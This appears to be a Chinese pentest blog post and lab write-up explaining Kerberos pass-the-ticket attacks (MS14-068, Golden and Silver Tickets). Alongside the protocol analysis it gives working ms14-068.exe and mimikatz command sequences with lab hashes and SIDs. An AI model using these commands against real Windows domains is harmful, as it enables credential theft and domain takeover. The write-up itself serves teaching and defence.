PTT

发表于： 2020年8月25日 2020年9月1日
分类：内网/域渗透/后渗透

目录[ Hide ]

0x00：简介
0x01：ms14-068
2. 二：利用过程：
1. 4.验证权限
1. 1.实验：使用Silver Ticket伪造CIFS服务权限
2. 2.实验：使用Silver Ticket 伪造LDAP服务器
0x04：参考

目录[ Hide ]

0x00：简介
0x01：ms14-068
2. 二：利用过程：
1. 4.验证权限
1. 1.实验：使用Silver Ticket伪造CIFS服务权限
2. 2.实验：使用Silver Ticket 伪造LDAP服务器
0x04：参考

0x00：简介

PTT（pass the ticket）攻击的部分就不是简单的NTLM认证了，它是利用Kerberos协议进行攻击的，这里就介绍三种常见的攻击方法：

MS14-068，Golden ticket，SILVER ticket。

由于PTT是基于kerberos协议进行的，所以必须理解Kerberos协议才能理解黄金票据和白银票据产生的原理。

0x01：ms14-068

MS14-068是密钥分发中心（KDC）服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC（表示所有用户权限的结构）。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

一：漏洞原理：

正常情况下验证权限是这样的：首先 PAC是一串被加密的字符，解密后由三部分组成。PAC的作用是为了向server告知client的权限，即client到底能不能访问server或能访问多少资源，且server只信任KDC，所以PAC由KDC下发。KDC下发的PAC尾部签名由Server Signature和KDC Signature加密。TGS服务会在认证第二阶段的KRB_TGS_REQ过程中解析由client发回来的TGT，且当前数据包中包含PAC，所以可以通过验证尾部签名来确认PAC是否合法，确认合法后，则认为PAC没有被篡改，于是重新在PAC的尾部更换了另外两个签名，一个是Server Signature，这次是以Server-B的密码副本生成的签名（因为对于Client-A和Server-B，这次的第三方机构是TGS服务），另外一个是KDC Signature，这次不再使用KDC的长期有效的Key，而是使用在AS阶段生成的短期有效的SessionKeya-b，最终成为New Signed PAC被拷贝在ServericeTicket中被加密起来

PAC的结构由三部分组成：

第一部分是 User SID & Group SID （用户user-sid和group-sid的组合字符）

第二部分是 Chksum of Server_key （使用server_key参与加密第一个尾部签名）

第三部分是 Chksum of Kdc_key （使用Kdc_key参与加密第二个尾部签名）

也就是说 PAC是由data部分（用户user-sid和group-sid 及两个尾部签名） Chksum of Server_key 和 Chksum of Kdc_key组成的。

造成ms14-068的原因有以下三点：

1、微软第一个漏洞出在了尾部签名上，它本应该使用server_key和kdc_key参与加密data产生两个尾部签名，但是实际上它并没有强制要求server_key和kdc_key参与加密，也就是说，用户可以自定义尾部签名server_key和kdc_key的加密算法，比如将data进行MD5运算，生成一个32位的MD5值即可

服务端对于MD5签名又是如何验证的呢？它只需要将前面的data取出来，进行MD5运算，如果得到的MD5值，与后面的签名一致，则认为该签名合法。

所以利用工具在客户端的攻击代码中很巧妙地利用了这个漏洞，规定使用不需要Key的MD5进行签名，只要签名构造的User SID & Group SID权限信息在传输过程中不改变，那么服务端肯定能验证通过。

那肯定有人还有疑问，PAC不是被放在TGT中吗？但根据include-PAC标志设置为false后，AS_REP解密得到的TGT是不携带PAC信息的，难不成要把构造的PAC放在TGT中？但TGT是被KDC密码加密的，客户端根本无法解密。

2、其第二个漏洞便出在了PAC的位置上

PAC没有被放在TGT中，而是放在了TGS_REQ数据包的其它地方。但可笑的是，KDC在实现上竟然允许这样的构造，也就是说，KDC能够正确解析出没有放在其它地方的PAC信息。

可以得知，PAC被放在了TGS_REQ数据包中的REQ_BODY中，被subkey加密了，而TGT被放在REQ_BODY前面的PADATA中，这也就是说，TGT中没有携带PAC信息，并且可以注意到，TGS_REQ中也设置了include-PAC标志信息为false。

另外得知，PAC信息被subkey加密，那subkey是什么呢，查看代码得知subkey竟然是Client端生成的一个随机数！

为了使得KDC能够解密获取被加密在REQ_BODY中的PAC信息，也一并把这个生成的subkey随机数放在TGS_REQ数据包中的Authenticator发给了KDC服务器。KDC需要先解密PAC，之后验证尾部签名。

在KDC接收TGS_REQ后，可笑的是，它可以把PAC信息给解密出来了，并且由于微软犯的第一个错误：允许任意加密算法的签名，很明显，该PAC信息会被验证为合法的PAC信息。

3、第三个漏洞点出在Kerberos协议对前两者的错误处理上

只要TGS_REQ按照刚才那两个要求设置，KDC服务器会做出令人吃惊的事情：它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名，同时将另外的TGT进行解密得到SessionKeya-kdc；

在验证成功后，把解密的PAC信息的尾部，重新采用自身Server_key和KDC_key生成一个带Key的签名，把SessionKeya-kdc用subkey加密，从而组合成了一个新的TGT返回给Client-A

没错，是重新生成一个TGT，而不是ServiceTicket。

如果你了解Kerberos协议，很容易知道，TGT原本是通过AS_REP过程返回给Client-A的，而现在“毁人三观”的事情发生了，在TGS_REP过程中，KDC竟然返回个Client-A一个TGT。

综上所述，可以概括为client第一次向KDC请求了一个不含PAC的TGT（即include-PAC标志被设置为false），client收到TGT后，会构造一个高权限sid的PAC，然后使用md5对尾部进行加密，再使用随机生成的subkey对整个PAC进行加密，这样就完整的伪造了一个高权限PAC，然后发送至TGS，由于KDC机构对伪造的PAC验证成功后，会返回给client一个新的TGT，并且这个TGT会将伪造生成的PAC包含在其中（这里正常情况下返回的其实是一张用于发送给Server端做认证的ST票据）。然后普通域用户拿着这张假的TGT再次申请ST即可申请到拥有高权限的票据。到此client已经获得了域管权限。

二：利用过程：

1.使用 whoami/user 得到普通域用户的sid

2.执行payload生成TGT票据:

注：需要先将内存中的票据清除

使用方法：

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

例：

MS14-068.exe -u test@pureqh.top -s S-1-5-21-2088958248-1083709086-4128711003-1604 -d 192.168.1.1 -p admin@888

如果操作正确，且域机器是可以和域控制器互通则会创建.ccache文件注意当前用户需要有写文件的权限

3.票据注入:

使用mimikatz将票据注入到当前内存中，伪造凭证，如果成功则拥有域管理权限，可任意访问域中所有机器

mimikatz # kerberos::purge //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

显示Injecting ticket : OK就表示注入成功了～

4.查看注入是否成功并且登录域控：

查看klist:

发现已经将凭证注入进去了～下面可以使用net use进行登录，或者使用psexec,wmi等方法进行远程执行命令。注意，这里登录时，要使用机器名，不要使用IP，否则没办法攻击成功。

我这里环境是windows server 2012 r2域控制器 ms14-068已经覆盖不到了，所以未成功

server 2012 r2以下版本是可以的.

比如windows server 2008 r2 为域控时。

0x02：Golden ticket

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢？还得要看kerberos认证的过程,在windows认证过程中，客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密，生成TGT。

那么如果获取到了krbtgt的密码hash值，是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

了解Kerberos协议认证过程的应该知道，在第二次请求KRB_TGS_REQ的时候TGS会解密TGT得到

Session-key as、timestamp、Client-info、Server-info。我们获得krbtgt的ntlmhash后可以伪造TGT，但是Session-key as是KDC下发的，缺少这个怎么解决呢？

这就要看KRB_TGS_REQ过程中TGS的处理流程了，由于在AS认证阶段Session-key as是被KDC机构的AS服务产生的，所以即使有存档也是AS服务中存有这个Session-key as 而KRB_TGS_REQ过程的处理机构是TGS，TGS是不知道这个Session-key as 的，所以它需要使用krbtgt的ntlmhash解密TGT获得Session-key as 也就是说 Session-key as client也是可以伪造的。

伪造黄金凭据需要具备下面条件：

krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名

（1）清空票据

在mimikatz中输入如下命令，当前会话中的票据已被清空

kerberos::purge

（2）生成票据（此命令需要管理员权限）

输入如下命令，使用mimikatz生成包含krbtgt身份的票据

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /ticket:Administrator.kiribi

命令执行后会提示保存成功。此时，会在本地目录下生成一个名为“Administrator.kiribi”的文件

（3）传递票据并注入内存（此命令需要管理员权限）

输入如下命令，将Administrator.kiribi票据注入内存

kerberos::ptt Administrator.kiribi

（4）直接将票据传递到内存

经测试，mimikatz生成.kiribi文件需要管理员权限。也可以直接将票据写入内存。

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /user:test /ptt

（5）检索当前会话中的票据

输入如下命令,刚刚注入的票据就出现在当前会话中了

kerberos::tgt

4.验证权限

我们已经分析了将票据注入内存的过程。接下来，退出mimikatz，验证实验伪造的身份是否已经得到了域控制器权限。

退出mimikatz，在当前命令行输入“dir \\dc\c$”，如果想另外打开新的命令行需要管理员权限。

可以看到：在将票据注入内存之前，系统提示权限不足；在将票据注入后，列出了域控制器C盘的目录，表示身份伪造成功。

在当前会话中输入如下命令，使用wmiexec.vbs进行验证。

cscript wmiexec.vbs /shell dc

使用krbtgt的AES-256值生成票据并将其注入内存，也可以伪造用户。在之前导出的krbtgt信息中，AES-256值为82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5,输入如下命令。使用mimikatz生成一张票据

kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /aes256:82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5 /ticket:Administrator.kiribi

其他操作与上面利用NTLM Hash一致

kerberos::ptt Administrator.kiribi
kerberos::tgt

0x03：SILVER ticket

Silver Ticket(白银票据)不同于Golden Ticket。 Silver Ticket 的利用过程是伪造TGS，通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC，所以可以绕过域控制器，很少留下日志。而Golden Ticket 在利用过程中需要由KDC颁发TGT，并且在生成伪造的TGT的20分钟内，TGS不会对该TGT的真伪进行验证。

Silver Ticket依赖于服务账号的密码散列值，这不同于Golden Ticket利用需要使用krbtgt账号的密码散列值，因此更加隐蔽。

黄金票据使用krbtgt账号的密码散列值，利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据，从而获取域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS，例如LDAP、MSSQL、WinRM、DNS、CIFS等，范围有限，只能获取对应服务的权限。黄金票据是由krbtgt账号加密的，而Silver Ticket是由特定的服务账号加密的。

攻击者在使用Silver Ticket对内网进行攻击时，需要掌握以下信息。

域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
需要伪造的用户名

1.实验：使用Silver Ticket伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

在本实验中，首先使用当前域用户权限，查询对域控制器的共享目录的访问权限。

在域控制器中输入如下命令，使用mimikatz获取服务账号的NTLM Hash

使用log参数以便复制散列值
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

注意，这里使用的是共享服务账号，所以使用的是DC$而非administrator

我们继续获取其他信息

domain：pureqh.top
SID：S-1-5-21-2088958248-1083709086-4128711003

然后，在命令行环境下输入如下命令，清空当前系统中的票据和域成员的票据，防止其他票据干扰。

klist purge

kerberos::purge

使用mimikatz生成伪造的 Silver Ticket ，在之前不能访问域控制器共享目录的机器输入如下命令。

kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt

kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:cifs /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt

再次验证权限，发现已经可以访问域控制器的共享目录了，这说明票据已生效。

2.实验：使用Silver Ticket 伪造LDAP服务器

在本实验中，使用dcsync从域控制器中获取指定用户的账号和密码散列，如krbtgt

输入如下命令，测试以当前权限是否可以使用dcsync与域控制器进行同步。

lsadump::dcsync /dc:dc.pureqh.top /domain:pureqh.top /user:krbtgt

向域控制器获取krbtgt的密码散列值失败，说明以当前权限不能进行dcsync操作。

输入如下命令，在域控制器中使用mimikatz获取服务账号的NTLM Hash

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

同样使用的是共享服务账号 dc$

然后，清除当前系统中的票据和域成员机的票据，防止其他票据对实验结果造成干扰。

klist purge

kerberos::purge

使用mimikatz生成伪造的silver Ticket ，在之前不能使用dcsync从域控制器获取krbtgt密码散列值的机器输入如下命令。

kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:LDAP /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt